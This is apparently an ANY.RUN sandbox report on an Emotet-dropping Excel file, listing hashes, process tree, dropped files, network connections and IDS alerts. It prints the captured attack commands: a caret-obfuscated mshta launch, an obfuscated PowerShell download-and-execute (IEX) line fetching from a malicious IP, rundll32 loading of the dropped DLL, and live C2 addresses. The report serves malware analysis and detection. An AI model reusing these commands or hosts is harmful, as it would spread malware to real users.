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| File name: | ade5c2c45c5bbae939364326ae43a74c8b0c93307b7c653b12b80cbe8e891b70.xls |
| Full analysis: | https://app.any.run/tasks/04deeafc-2298-4866-ac42-6ec006ed4646 |
| Verdict: | Malicious activity |
| Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
| Analysis date: | January 24, 2022, 18:08:37 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.ms-excel |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Author: xXx, Last Saved By: xXx, Name of Creating Application: Microsoft Excel, Create Time/Date: Thu Jan 20 19:00:43 2022, Last Saved Time/Date: Thu Jan 20 19:07:37 2022, Security: 0 |
| MD5: | F024A849231FA3A172F6C70A91A9E1F1 |
| SHA1: | 6201B159488D587FCEB505614C54ADE52604C4AD |
| SHA256: | 4F3AAF04A5BBCAA20794AF8B013F167B889101B96B8C6223076F471DF01E9954 |
| SSDEEP: | 1536:bpEk3hbdlylKsgqopeJBWhZFGkE+cL2NdA/HXZiozeOgXVZKyaZpvyR1kZkJvU+:bCk3hbdlylKsgqopeJBWhZFGkE+cL2NR |
MALICIOUS
Starts CMD.EXE for commands execution
- EXCEL.EXE (PID: 3536)
Unusual execution from Microsoft Office
- EXCEL.EXE (PID: 3536)
Executes PowerShell scripts
- mshta.exe (PID: 372)
Loads dropped or rewritten executable
- SearchProtocolHost.exe (PID: 3880)
- rundll32.exe (PID: 2076)
- rundll32.exe (PID: 3976)
- rundll32.exe (PID: 1840)
- rundll32.exe (PID: 2056)
Connects to CnC server
- rundll32.exe (PID: 2056)
SUSPICIOUS
Checks supported languages
- cmd.exe (PID: 3500)
- mshta.exe (PID: 372)
- powershell.exe (PID: 1360)
- cmd.exe (PID: 4068)
Reads default file associations for system extensions
- SearchProtocolHost.exe (PID: 3880)
- EXCEL.EXE (PID: 3536)
Starts MSHTA.EXE for opening HTA or HTMLS files
- cmd.exe (PID: 3500)
Reads the computer name
- mshta.exe (PID: 372)
- powershell.exe (PID: 1360)
Reads Microsoft Outlook installation path
- mshta.exe (PID: 372)
Reads Environment values
- powershell.exe (PID: 1360)
Drops a file with a compile date too recent
- powershell.exe (PID: 1360)
- rundll32.exe (PID: 3976)
Executable content was dropped or overwritten
- powershell.exe (PID: 1360)
- rundll32.exe (PID: 3976)
Starts CMD.EXE for commands execution
- powershell.exe (PID: 1360)
Uses RUNDLL32.EXE to load library
- rundll32.exe (PID: 2076)
- cmd.exe (PID: 4068)
- rundll32.exe (PID: 3976)
- rundll32.exe (PID: 1840)
Starts itself from another location
- rundll32.exe (PID: 2076)
Application launched itself
- rundll32.exe (PID: 3976)
- rundll32.exe (PID: 1840)
INFO
Reads the computer name
- EXCEL.EXE (PID: 3536)
- rundll32.exe (PID: 3976)
- rundll32.exe (PID: 2056)
Checks supported languages
- EXCEL.EXE (PID: 3536)
- rundll32.exe (PID: 2076)
- rundll32.exe (PID: 3976)
- rundll32.exe (PID: 2056)
- rundll32.exe (PID: 1840)
Creates files in the user directory
- EXCEL.EXE (PID: 3536)
Reads internet explorer settings
- mshta.exe (PID: 372)
Checks Windows Trust Settings
- powershell.exe (PID: 1360)
- rundll32.exe (PID: 2056)
Reads Microsoft Office registry keys
- EXCEL.EXE (PID: 3536)
Reads settings of System Certificates
- rundll32.exe (PID: 2056)
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TRiD
| .xls | | | Microsoft Excel sheet (78.9) |
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EXIF
FlashPix
| HeadingPairs: |
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| TitleOfParts: |
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| HyperlinksChanged: | No |
| SharedDoc: | No |
| LinksUpToDate: | No |
| ScaleCrop: | No |
| AppVersion: | 16 |
| Company: | - |
| CodePage: | Windows Cyrillic |
| Security: | None |
| ModifyDate: | 2022:01:20 19:07:37 |
| CreateDate: | 2022:01:20 19:00:43 |
| Software: | Microsoft Excel |
| LastModifiedBy: | xXx |
| Author: | xXx |
Total processes
48
Monitored processes
10
Malicious processes
6
Suspicious processes
2
Behavior graph
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Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 3536 | "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE | — | Explorer.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Version: 14.0.6024.1000 Modules
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| 3500 | cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html | C:\Windows\system32\cmd.exe | — | EXCEL.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
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| 372 | mshta http://0xb907d607/fer/fe2.html | C:\Windows\system32\mshta.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft (R) HTML Application host Exit code: 0 Version: 11.00.9600.16428 (winblue_gdr.131013-1700) Modules
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| 1360 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe2.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | mshta.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Version: 10.0.14409.1005 (rs1_srvoob.161208-1155) Modules
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| 3880 | "C:\Windows\system32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe2_ Global\UsGthrCtrlFltPipeMssGthrPipe2 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon" | C:\Windows\system32\SearchProtocolHost.exe | — | SearchIndexer.exe | |||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Microsoft Windows Search Protocol Host Version: 7.00.7601.24542 (win7sp1_ldr_escrow.191209-2211) Modules
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| 4068 | "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString | C:\Windows\system32\cmd.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
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| 2076 | C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString | C:\Windows\SysWow64\rundll32.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows host process (Rundll32) Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
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| 3976 | C:\Windows\system32\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer | C:\Windows\system32\rundll32.exe | rundll32.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows host process (Rundll32) Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
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| 1840 | C:\Windows\system32\rundll32.exe "C:\Users\admin\AppData\Local\Xwqlhdmgorkra\viemvazk.pwu",uXkeThCfrcrPML | C:\Windows\system32\rundll32.exe | — | rundll32.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows host process (Rundll32) Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
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| 2056 | C:\Windows\system32\rundll32.exe "C:\Users\admin\AppData\Local\Xwqlhdmgorkra\viemvazk.pwu",DllRegisterServer | C:\Windows\system32\rundll32.exe | rundll32.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows host process (Rundll32) Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
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Total events
8 657
Read events
8 519
Write events
126
Delete events
12
Modification events
| (PID) Process: | (3536) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems |
| Operation: | write | Name: | c! |
Value: 7F632100D00D0000010000000000000000000000 | |||
| (PID) Process: | (3536) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (3536) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1041 |
Value: Off | |||
| (PID) Process: | (3536) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1046 |
Value: Off | |||
| (PID) Process: | (3536) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1036 |
Value: Off | |||
| (PID) Process: | (3536) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1031 |
Value: Off | |||
| (PID) Process: | (3536) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1040 |
Value: Off | |||
| (PID) Process: | (3536) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1049 |
Value: Off | |||
| (PID) Process: | (3536) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 3082 |
Value: Off | |||
| (PID) Process: | (3536) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1042 |
Value: Off | |||
Executable files
2
Suspicious files
9
Text files
1
Unknown types
3
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3536 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\CVRC75F.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 1360 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache | binary | |
MD5:D3C284009A5790C3AA90D7C5D620CA65 | SHA256:6C12FFF497059706D50431BB47C624FA24A8A7F9B6D52B2AB251FDC588E00E39 | |||
| 3536 | EXCEL.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\ade5c2c45c5bbae939364326ae43a74c8b0c93307b7c653b12b80cbe8e891b70.xls.LNK | lnk | |
MD5:205AB12F32A72F7559893F50F176FD29 | SHA256:9BAA423775F7BED2C981560D789F1542FEEFBA93D7EE55363A453672F31372BE | |||
| 372 | mshta.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\PO2HN1X2\fe2[1].htm | binary | |
MD5:9F303AED27F68A19797E11246A1EDE5B | SHA256:6C10CCD246F588BE4BBBCF68605023CDFEAE0A210C0ED96836A2B2CE6340268B | |||
| 3976 | rundll32.exe | C:\Users\admin\AppData\Local\Xwqlhdmgorkra\viemvazk.pwu | executable | |
MD5:5FC018538B34E891E67D7CCD6A6F5169 | SHA256:8187FDAB6CF2AE48ADACE0A38973B64D2164AEDDD5EE27ECA0C55F5F8683BFAF | |||
| 2056 | rundll32.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 | compressed | |
MD5:ACAEDA60C79C6BCAC925EEB3653F45E0 | SHA256:6B0CECCF0103AFD89844761417C1D23ACC41F8AEBF3B7230765209B61EEE5658 | |||
| 3536 | EXCEL.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dat | ini | |
MD5:105A209345F69A8DF243BCB9A739ABC2 | SHA256:C114D70146ED4D9DA72D86BD4E967168433A825020139060BC3E630F58DE83C9 | |||
| 2056 | rundll32.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 | binary | |
MD5:E88E137D7818A77DA16642EC89B46AF1 | SHA256:B5013B114BF0E1EF4632891A9294747547DA94D1F122FDE6F3EA7E3CDA39F368 | |||
| 2056 | rundll32.exe | C:\Users\admin\AppData\Local\Temp\Tar7350.tmp | cat | |
MD5:D99661D0893A52A0700B8AE68457351A | SHA256:BDD5111162A6FA25682E18FA74E37E676D49CAFCB5B7207E98E5256D1EF0D003 | |||
| 2056 | rundll32.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 | binary | |
MD5:E649C35BCED43B9545D5E9F5FF5DFB69 | SHA256:61222705AC07CC1EFFAE087A534FAB012EB45B314B63203A4B1B479EADF8FB8F | |||
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HTTP(S) requests
5
TCP/UDP connections
17
DNS requests
2
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
1360 | powershell.exe | GET | 200 | 185.7.214.7:80 | http://185.7.214.7/fer/fe2.png | FR | text | 1011 b | malicious |
1360 | powershell.exe | GET | 200 | 172.67.153.105:80 | http://hindimedia.in/wp-content/uploads/iXntuGFqLE31oHsTk/ | US | executable | 612 Kb | suspicious |
372 | mshta.exe | GET | 200 | 185.7.214.7:80 | http://185.7.214.7/fer/fe2.html | FR | binary | 10.8 Kb | malicious |
2056 | rundll32.exe | GET | 200 | 23.32.238.201:80 | http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?01e33f069bf25820 | US | compressed | 59.9 Kb | whitelisted |
2056 | rundll32.exe | GET | 200 | 23.32.238.201:80 | http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?9f88c43b4364963a | US | compressed | 4.70 Kb | whitelisted |
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Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2056 | rundll32.exe | 131.100.24.231:80 | — | GOPLEX TELECOMUNICACOES E INTERNET LTDA - ME | BR | malicious |
— | — | 172.67.153.105:80 | hindimedia.in | — | US | suspicious |
1360 | powershell.exe | 185.7.214.7:80 | — | Qual.it S.a.s. | FR | malicious |
372 | mshta.exe | 185.7.214.7:80 | — | Qual.it S.a.s. | FR | malicious |
2056 | rundll32.exe | 23.32.238.201:80 | ctldl.windowsupdate.com | XO Communications | US | suspicious |
2056 | rundll32.exe | 212.237.17.99:8080 | — | Aruba S.p.A. | IT | malicious |
2056 | rundll32.exe | 103.8.26.103:8080 | — | SKSA TECHNOLOGY SDN BHD | MY | malicious |
2056 | rundll32.exe | 51.38.71.0:443 | — | — | GB | malicious |
2056 | rundll32.exe | 79.172.212.216:8080 | — | SzerverPlex.hu KFT. | HU | malicious |
2056 | rundll32.exe | 209.59.138.75:7080 | — | Liquid Web, L.L.C | US | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
hindimedia.in |
| suspicious |
ctldl.windowsupdate.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
1360 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
1360 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
1360 | powershell.exe | Misc activity | ET INFO EXE - Served Attached HTTP |
2056 | rundll32.exe | A Network Trojan was detected | ET CNC Feodo Tracker Reported CnC Server group 5 |
2056 | rundll32.exe | A Network Trojan was detected | ET CNC Feodo Tracker Reported CnC Server group 14 |
2056 | rundll32.exe | A Network Trojan was detected | ET CNC Feodo Tracker Reported CnC Server group 3 |
2056 | rundll32.exe | A Network Trojan was detected | ET CNC Feodo Tracker Reported CnC Server group 19 |
8 ETPRO signatures available at the full report